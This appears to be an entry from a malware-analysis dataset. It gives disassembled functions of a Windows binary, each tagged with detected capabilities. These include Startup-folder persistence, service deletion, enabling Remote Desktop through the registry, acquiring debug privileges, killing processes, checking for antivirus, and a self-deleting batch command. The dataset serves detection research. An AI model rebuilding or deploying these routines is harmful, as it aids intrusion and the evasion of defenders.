joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4043b0
Capabilities:
Terminate process

Disassembly:
mov eax, dword [0x41455c]
push ebx
push ebp
push esi
sub eax, 0
push edi
mov ebp, ecx
je 0x4043f4
dec eax
je 0x4043e1
dec eax
je 0x4043ce
push 0
call dword [sym.imp.MSVCRT.dll_exit]
lea ebx, [ebp + 0x164]
push ebx
push 3
call fcn.004079a0
add esp, 8
jmp 0x40442f
lea ebx, [ebp + 0x164]
push ebx
push 2
call fcn.004079a0
add esp, 8
jmp 0x40442f
lea ebx, [ebp + 0x164]
push ebx
push 1
call fcn.004079a0
mov edi, str.Program_Files
or ecx, 0xffffffff
xor eax, eax
add esp, 8
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edx, ecx
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x414560
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x404490
mov edi, 0x414854
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edx, ecx
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x414560
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edx, ecx
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push 0x414664
push ebx
add ebp, 0x268
push str._s_s
push ebp
call dword [sym.imp.MSVCRT.dll_sprintf]
mov eax, dword [0x414554]
add esp, 0x10
test eax, eax
jne 0x404521
mov edi, 0x413f38
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, 0x413710
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x41403c
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov edi, str.Alerter
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x414244
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, 0x413a1c
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
pop ebp
pop ebx
ret
Function at 0x4045c0
Capabilities:
Create thread
Initialize winsock library

Disassembly:
sub esp, 0x190
push esi
mov esi, ecx
call fcn.00404660
test eax, eax
je 0x4045d9
mov ecx, esi
call fcn.00404860
push ebx
push edi
mov ecx, esi
call fcn.00404570
lea eax, [esp + 0xc]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push esi
push 0x408c80
push 0
push 0
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
call ebx
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push esi
push 0x408e30
push 0
push 0
call edi
push eax
call ebx
mov eax, dword [0x424790]
pop edi
cmp eax, 0xc8
pop ebx
jne 0x40464c
mov ecx, esi
call fcn.00404530
pop esi
add esp, 0x190
ret
call fcn.004049b0
pop esi
add esp, 0x190
ret

Function at 0x4046c0
Capabilities:
Delete registry value
Set registry value

Disassembly:
mov eax, dword [esp + 8]
push esi
test eax, eax
jne 0x4046cd
pop esi
ret 0x14
mov edx, dword [esp + 8]
lea ecx, [esp + 0xc]
push ecx
push eax
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x404729
mov esi, dword [esp + 0x14]
mov eax, dword [esp + 0xc]
push esi
push eax
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
test eax, eax
je 0x4046fc
xor eax, eax
pop esi
ret 0x14
mov edx, dword [esp + 0x10]
push edi
mov edi, edx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
mov ecx, dword [esp + 0x14]
push edx
push 1
push eax
push esi
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
pop edi
je 0x404729
xor eax, eax
pop esi
ret 0x14
mov edx, dword [esp + 0xc]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
pop esi
ret 0x14

Function at 0x404740
Capabilities:
Persist via run registry key

Disassembly:
sub esp, 0x8c
lea eax, [esp + 0x44]
push ebx
push esi
mov ebx, ecx
push edi
mov ecx, 0x11
mov esi, str.SoftwareMicrosoftWindowsCurrentVersionExplorerUser_Shell_Folders_
lea edi, [esp + 0x50]
push 1
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov ecx, 0x10
mov esi, str.SoftwareMicrosoftWindowsCurrentVersionExplorerShell_Folders_
lea edi, [esp + 0x10]
push str.Startup
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov esi, dword [esp + 0xa4]
mov ecx, ebx
push esi
push eax
push closesocket
call fcn.004046c0
push 1
push str.Startup
lea ecx, [esp + 0x14]
push esi
push ecx
push closesocket
mov ecx, ebx
call fcn.004046c0
push 2
push str.Common_Startup
lea edx, [esp + 0x58]
push esi
push edx
push closesocket
mov ecx, ebx
call fcn.004046c0
push 2
push str.Common_Startup
lea eax, [esp + 0x14]
push esi
push eax
push closesocket
mov ecx, ebx
call fcn.004046c0
pop edi
pop esi
pop ebx
add esp, 0x8c
ret 4
Function at 0x404860
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Create thread
Delete service
Set file attributes
Start service
Terminate process

Disassembly:
mov eax, dword [0x42478c]
push ebx
push ebp
mov ebp, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push esi
push edi
test eax, eax
mov esi, ecx
jne 0x4048b7
mov eax, dword [0x414550]
test eax, eax
jne 0x4048b7
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov edi, eax
push 0x10000
push 0x413710
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov ebx, eax
push ebx
call dword [sym.imp.ADVAPI32.dll_DeleteService]
push ebx
call ebp
push edi
call ebp
push 0
push esi
call fcn.00404150
lea ebx, [esi + 0x164]
push 0
push 0
push ebx
push fcn.00404340
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov edi, eax
push 0xffffffffffffffff
push edi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea edi, [esi + 0x268]
lea eax, [esi + 0x60]
push edi
push eax
call fcn.004047f0
mov eax, dword [0x414778]
add esp, 8
test eax, eax
je 0x404911
mov eax, dword [esi + 0x36c]
test eax, eax
je 0x404911
push edi
mov ecx, esi
call fcn.00404be0
mov ecx, dword [0x414768]
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov ecx, esi
call fcn.00404a40
mov eax, dword [0x42478c]
test eax, eax
je 0x40494d
push ebx
mov ecx, esi
call fcn.00404740
push str.NULL
push edi
call fcn.00404c80
add esp, 8
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov eax, dword [esi + 0x370]
test eax, eax
je 0x404982
push 0x414918
push edi
call dword [sym.imp.MSVCRT.dll_fopen]
mov edi, eax
add esp, 8
test edi, edi
je 0x404982
push edi
push 0xc8
call dword [sym.imp.MSVCRT.dll_fputc]
push edi
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 0xc
mov eax, dword [0x414550]
test eax, eax
jne 0x4049a5
mov edx, dword [esi + 0x370]
push 0
push 0
push edx
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
mov eax, dword [esi + 0x370]
push eax
call ebp
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x4049b0
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Create thread
Terminate process

Disassembly:
push 0x413e34
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [0x424794], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x4049d9
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push edi
push 0
push 0
push 0
push 0x404ae0
push 0
push 0
call esi
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
call edi
push 0
push 0
push 0
push 0x4083b0
push 0
push 0
call esi
push eax
call edi
push 0
push 0
push 0
push 0x408100
push 0
push 0
call esi
push eax
call edi
pop edi
pop esi
push 0
call fcn.00404db0
call fcn.00404cf0
jmp 0x404a25
Function at 0x404c80
Capabilities:
Create process on windows
Create process suspended

Disassembly:
sub esp, 0x54
push edi
mov ecx, 0x11
xor eax, eax
lea edi, [esp + 0x14]
rep stosd dword es:[edi], eax
lea eax, [esp + 4]
mov edx, dword [esp + 0x60]
lea ecx, [esp + 0x14]
push eax
mov eax, dword [esp + 0x60]
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
push edx
push eax
mov dword [esp + 0x3c], 0x44
mov dword [esp + 0x68], 4
mov word [esp + 0x6c], 5
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
pop edi
je 0x404ce9
mov ecx, dword [esp]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ecx
call esi
mov edx, dword [esp + 8]
push edx
call esi
pop esi
add esp, 0x54
ret
Function at 0x406030
Capabilities:
Get common file path

Disassembly:
sub esp, 0x104
lea eax, [esp]
push esi
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov esi, eax
call dword [sym.imp.MSVCRT.dll_rand]
mov ecx, dword [esp + 0x110]
add esi, eax
mov eax, dword [esp + 0x10c]
push ecx
lea edx, [esp + 8]
push esi
push edx
push str._s_d._s
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x14
pop esi
add esp, 0x104
ret
Function at 0x406320
Capabilities:
Parse pe header
Read file on windows

Disassembly:
mov eax, dword [esp + 4]
sub esp, 8
push esi
push 0x414868
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
add esp, 8
test esi, esi
jne 0x406342
pop esi
add esp, 8
ret
push ebx
push edi
mov edi, dword [sym.imp.MSVCRT.dll_fseek]
push 0
push 0
push esi
call edi
mov ebx, dword [sym.imp.MSVCRT.dll_fread]
push esi
push 1
lea ecx, [esp + 0x2c]
push 2
push ecx
call ebx
add esp, 0x1c
cmp word [esp + 0x18], 0x5a4d
jne 0x4063be
push 0
push 0x3c
push esi
call edi
push esi
push 1
lea edx, [esp + 0x20]
push 4
push edx
call ebx
mov eax, dword [esp + 0x28]
push 0
push eax
push esi
call edi
push esi
push 1
lea ecx, [esp + 0x40]
push 4
push ecx
call ebx
mov eax, dword [esp + 0x48]
add esp, 0x38
xor edx, edx
cmp eax, 0x4550
sete dl
push esi
mov edi, edx
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
mov eax, edi
pop edi
pop ebx
pop esi
add esp, 8
ret
push esi
xor edi, edi
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
mov eax, edi
pop edi
pop ebx
pop esi
add esp, 8
ret

Function at 0x4063e0
Capabilities:
Enumerate processes

Disassembly:
sub esp, 0x134
push ebx
push ebp
push esi
xor ebp, ebp
push edi
push ebp
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
lea eax, [esp + 0x1c]
push eax
push esi
mov dword [esp + 0x24], 0x128
call sub.KERNEL32.dll_Process32First
mov edi, dword [esp + 0x148]
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcmpiA]
lea ecx, [esp + 0x40]
push edi
push ecx
call ebx
test eax, eax
je 0x40643d
lea edx, [esp + 0x1c]
push edx
push esi
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x406441
lea eax, [esp + 0x40]
push edi
push eax
call ebx
test eax, eax
jne 0x406422
mov ebp, dword [esp + 0x24]
lea ecx, [esp + 0x10]
push str.N.O.D.3.2
push ecx
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 8
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
add esp, 0x134
ret

Function at 0x406590
Capabilities:
Set registry value

Disassembly:
sub esp, 8
lea eax, [esp]
push eax
push str.SYSTEMCurrentControlSetControlTerminal_Server
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
mov edx, dword [esp]
lea ecx, [esp + 4]
push 4
push ecx
push 4
push 0
push str.fDenyTSConnections
push edx
mov dword [esp + 0x1c], 0
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [esp]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
add esp, 8
ret
Function at 0x4078b0
Capabilities:
Create process on windows
Set file attributes

Disassembly:
sub esp, 0x608
push esi
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x10d]
mov byte [esp + 0x10c], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x10c]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [esp + 0x10c]
push 0x80
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 9]
mov byte [esp + 8], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea edx, [esp + 8]
push 0x414c00
push edx
stosb byte es:[edi], al
call fcn.00406030
lea eax, [esp + 0x10]
push 0x414924
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0x221]
mov byte [esp + 0x220], 0
lea edx, [esp + 0x220]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x11c]
stosw word es:[edi], ax
push ecx
push str.ping_127.0.0.1_ndel___s__ndel__0
push edx
stosb byte es:[edi], al
call dword [sym.imp.MSVCRT.dll_sprintf]
lea eax, [esp + 0x22c]
push esi
push eax
call dword [sym.imp.MSVCRT.dll_fputs]
add esp, 0x24
test esi, esi
je 0x407987
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
lea ecx, [esp + 8]
push 0
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
pop edi
xor eax, eax
pop esi
add esp, 0x608
ret
Function at 0x4079a0
Capabilities:
Query environment variable

Disassembly:
sub esp, 0x104
push ebx
push esi
push edi
xor bl, bl
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0xd]
mov byte [esp + 0xc], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov esi, dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
push 0x104
stosb byte es:[edi], al
lea eax, [esp + 0x10]
push eax
push str.windir
call esi
lea edi, [esp + 0xc]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp ecx, 1
jbe case.default.0x407a00
mov ecx, dword [esp + 0x114]
lea eax, [ecx - 1]
cmp eax, 3
ja case.default.0x407a00
jmp dword [eax*4 + 0x407b1c]
lea edi, [esp + 0xc]
or ecx, 0xffffffff
xor eax, eax
mov byte [esp + 0xe], bl
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, dword [esp + 0x118]
mov edx, ecx
jmp 0x407af3
lea edi, [esp + 0xc]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, dword [esp + 0x118]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
mov eax, 1
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
pop ebx
add esp, 0x104
ret
lea edi, [esp + 0xc]
or ecx, 0xffffffff
xor eax, eax
mov edx, dword [esp + 0x118]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str._system32
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
mov eax, 1
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
pop ebx
add esp, 0x104
ret
lea ecx, [esp + 0xc]
push 0x104
push ecx
push str.TEMP
call esi
lea edi, [esp + 0xc]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, dword [esp + 0x118]
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
dec edi
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
mov eax, 1
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
pop ebx
add esp, 0x104
ret
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x104
ret
Function at 0x407b30
Capabilities:
Create process on windows
Query or enumerate registry value

Disassembly:
sub esp, 0x160
or ecx, 0xffffffff
xor eax, eax
push ebx
mov ebx, dword [esp + 0x168]
push esi
push edi
mov edi, ebx
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x407c48
mov ecx, 0x41
lea edi, [esp + 0x68]
rep stosd dword es:[edi], eax
lea eax, [esp + 0xc]
xor esi, esi
push eax
push 0xf003f
push esi
push str.Applicationsiexplore.exe_shellopencommand
push closesocket
mov dword [esp + 0x24], 0x104
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x407c48
mov eax, dword [esp + 0xc]
lea ecx, [esp + 0x10]
lea edx, [esp + 0x68]
push ecx
push edx
push esi
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0xc]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edx, [esp + 0x68]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
je 0x407c48
lea eax, [esp + 0x68]
push 0x414c20
push eax
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 8
cmp eax, esi
je 0x407c48
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x18]
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x174]
mov dword [esp + 0x14], 0x44
cmp eax, esi
je 0x407c07
mov dword [esp + 0x1c], str.WinSta0Default
jmp 0x407c29
mov dword [esp + 0x18], esi
mov dword [esp + 0x1c], esi
mov dword [esp + 0x20], esi
mov dword [esp + 0x40], 1
mov word [esp + 0x44], si
mov word [esp + 0x46], si
mov dword [esp + 0x48], esi
lea ecx, [esp + 0x58]
lea edx, [esp + 0x14]
push ecx
push edx
push esi
push esi
push esi
push esi
push esi
lea eax, [esp + 0x84]
push esi
push eax
push esi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
pop edi
pop esi
xor al, al
pop ebx
add esp, 0x160
ret
Function at 0x407c60
Capabilities:
Create process on windows

Disassembly:
mov eax, dword [esp + 8]
sub esp, 0x158
and eax, 0xffff
dec eax
push ebx
cmp eax, 0xa1
push edi
ja case.0x407c85.5
xor ecx, ecx
mov cl, byte [eax + 0x407e20]
jmp dword [ecx*4 + 0x407e0c]
mov edx, dword [esp + 0x164]
push 5
push edx
call fcn.00407b30
add esp, 8
pop edi
pop ebx
add esp, 0x158
ret
mov eax, dword [esp + 0x164]
push 0
push eax
call fcn.00407b30
add esp, 8
pop edi
pop ebx
add esp, 0x158
ret
xor ebx, ebx
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x5d]
mov byte [esp + 0x5c], bl
push 0x41493c
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea ecx, [esp + 0x60]
push ecx
stosb byte es:[edi], al
call fcn.00406030
mov eax, dword [esp + 0x16c]
lea edx, [esp + 0x64]
push edx
push eax
call fcn.00406090
lea ecx, [esp + 0x6c]
push ecx
call fcn.00406320
add esp, 0x14
test eax, eax
je case.0x407c85.5
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0xc]
push esi
mov esi, dword [sym.imp.MSVCRT.dll_putchar]
push 0x30
rep stosd dword es:[edi], eax
mov dword [esp + 0x10], 0x44
mov dword [esp + 0x18], str.WinSta0Default
call esi
add esp, 4
lea edx, [esp + 0x50]
lea eax, [esp + 0xc]
lea ecx, [esp + 0x60]
push edx
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
push 0x30
call esi
add esp, 4
pop esi
pop edi
pop ebx
add esp, 0x158
ret
xor ebx, ebx
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x5d]
mov byte [esp + 0x5c], bl
lea edx, [esp + 0x5c]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0x41493c
push edx
stosb byte es:[edi], al
call fcn.00406030
mov ecx, dword [esp + 0x16c]
lea eax, [esp + 0x64]
push eax
push ecx
call fcn.00406090
lea edx, [esp + 0x6c]
push edx
call fcn.00406320
add esp, 0x14
test eax, eax
je case.0x407c85.5
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0xc]
lea edx, [esp + 0x5c]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x4c]
lea ecx, [esp + 8]
push eax
push ecx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push edx
push ebx
mov dword [esp + 0x30], 0x44
mov dword [esp + 0x34], ebx
mov dword [esp + 0x38], ebx
mov dword [esp + 0x3c], ebx
mov dword [esp + 0x5c], 1
mov word [esp + 0x60], bx
mov word [esp + 0x62], bx
mov dword [esp + 0x64], ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
pop edi
pop ebx
add esp, 0x158
ret
Function at 0x409070
Capabilities:
Acquire debug privileges
Enumerate processes

Disassembly:
sub esp, 0x418
push ebx
mov ebx, dword [sym.imp.MSVCRT.dll_putchar]
push ebp
push esi
push 0x30
call ebx
add esp, 4
lea eax, [esp + 0x18]
push eax
push 0x20
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
push 0x30
call ebx
push 0x30
mov dword [esp + 0x24], 1
call ebx
add esp, 8
lea ecx, [esp + 0x20]
xor ebp, ebp
push ecx
push str.SeDebugPrivilege
push ebp
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
push 0x30
call ebx
push 0x30
mov dword [esp + 0x30], 2
call ebx
mov eax, dword [esp + 0x20]
add esp, 8
lea edx, [esp + 0x1c]
push ebp
push ebp
push 0x10
push edx
push ebp
push eax
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
push 0x30
call ebx
add esp, 4
push ebp
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
cmp esi, ebp
mov dword [esp + 0x14], esi
jne 0x40911b
mov eax, dword [esp + 0x42c]
pop esi
mov dword [eax + 4], ebp
pop ebp
mov dword [eax], 0x25000004
pop ebx
add esp, 0x418
ret
push edi
push 0x30
mov dword [esp + 0xe0], 0x128
mov dword [esp + 0x208], 0x224
mov dword [esp + 0x14], ebp
call ebx
add esp, 4
lea ecx, [esp + 0xdc]
push ecx
push esi
call sub.KERNEL32.dll_Process32First
push 0x30
mov edi, eax
call ebx
add esp, 4
cmp edi, ebp
je 0x40926c
mov edx, dword [esp + 0x42c]
mov ebp, dword [sym.imp.MSVCRT.dll_strncpy]
mov dword [esp + 0x14], edx
push 0x30
call ebx
mov eax, dword [esp + 0xe8]
add esp, 4
push eax
push 8
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
push 0x30
mov esi, eax
call ebx
add esp, 4
lea ecx, [esp + 0x204]
push ecx
push esi
call sub.KERNEL32.dll_Module32First
push 0x30
call ebx
add esp, 4
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x30
call ebx
mov edx, dword [esp + 0xe8]
add esp, 4
xor eax, eax
mov ecx, 0x2b
lea edi, [esp + 0x30]
push edx
push eax
push 0x400
rep stosd dword es:[edi], eax
call dword [sym.imp.KERNEL32.dll_OpenProcess]
push 0x30
mov esi, eax
call ebx
push 0x30
call ebx
mov eax, dword [esp + 0xec]
mov ecx, dword [esp + 0xf8]
add esp, 8
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetPriorityClass]
mov dword [esp + 0x38], eax
lea edx, [esp + 0x100]
push 0x20
lea eax, [esp + 0x40]
push edx
push eax
call ebp
lea ecx, [esp + 0x330]
push 0x80
lea edx, [esp + 0x6c]
push ecx
push edx
call ebp
mov eax, dword [esp + 0x2c]
mov ecx, 0x2b
lea esi, [esp + 0x48]
mov edi, eax
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [esp + 0x28]
add eax, 0xac
add ecx, 0xac
add esp, 0x18
mov dword [esp + 0x14], eax
mov dword [esp + 0x10], ecx
mov ecx, dword [esp + 0x18]
lea eax, [esp + 0xdc]
push eax
push ecx
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x40916d
mov esi, dword [esp + 0x18]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x430]
mov edx, dword [esp + 0x10]
pop edi
pop esi
pop ebp
mov dword [eax], 0
mov dword [eax + 4], edx
pop ebx
add esp, 0x418
ret
Function at 0x4092a0
Capabilities:
Terminate process

Disassembly:
push ebx
mov ebx, dword [sym.imp.MSVCRT.dll_putchar]
push esi
push edi
push 0x30
call ebx
mov esi, dword [esp + 0x18]
add esp, 4
mov eax, dword [esi + 8]
push eax
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
push 0x30
mov edi, eax
call ebx
add esp, 4
test edi, edi
jne 0x4092df
mov dword [esi + 4], edi
mov dword [esi], 0x25000005
pop edi
pop esi
pop ebx
ret
push 0
push edi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
jne 0x4092f9
mov dword [esi], 0x25000005
mov dword [esi + 4], eax
pop edi
pop esi
pop ebx
ret
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [esi], 0
mov dword [esi + 4], 0
pop edi
pop esi
pop ebx
ret

Function at 0x4094c0
Capabilities:
Encode data using xor

Disassembly:
push esi
push edi
mov esi, ecx
call fcn.00409530
mov ecx, dword [esi + 0xc]
mov eax, dword [esp + 0xc]
shr ecx, 2
test eax, eax
jne 0x4094f1
test ecx, ecx
jle 0x409526
mov edx, dword [esi + 4]
mov edi, dword [esi + 8]
mov edx, dword [edx + eax*4]
mov dword [edi + eax*4], edx
inc eax
cmp eax, ecx
jl 0x4094db
pop edi
pop esi
ret 4
jbe 0x409526
xor eax, eax
test ecx, ecx
jle 0x409526
push ebx
mov edx, dword [esi + 4]
mov edi, dword [esi + 8]
mov edi, dword [edi + eax*4]
mov ebx, dword [edx + eax*4]
lea edx, [edx + eax*4]
xor ebx, edi
mov dword [edx], ebx
mov edx, dword [esi + 8]
mov edi, dword [esi + 4]
mov ebx, dword [edx + eax*4]
lea edx, [edx + eax*4]
mov edi, dword [edi + eax*4]
xor ebx, edi
inc eax
cmp eax, ecx
mov dword [edx], ebx
jl 0x4094fa
pop ebx
pop edi
pop esi
ret 4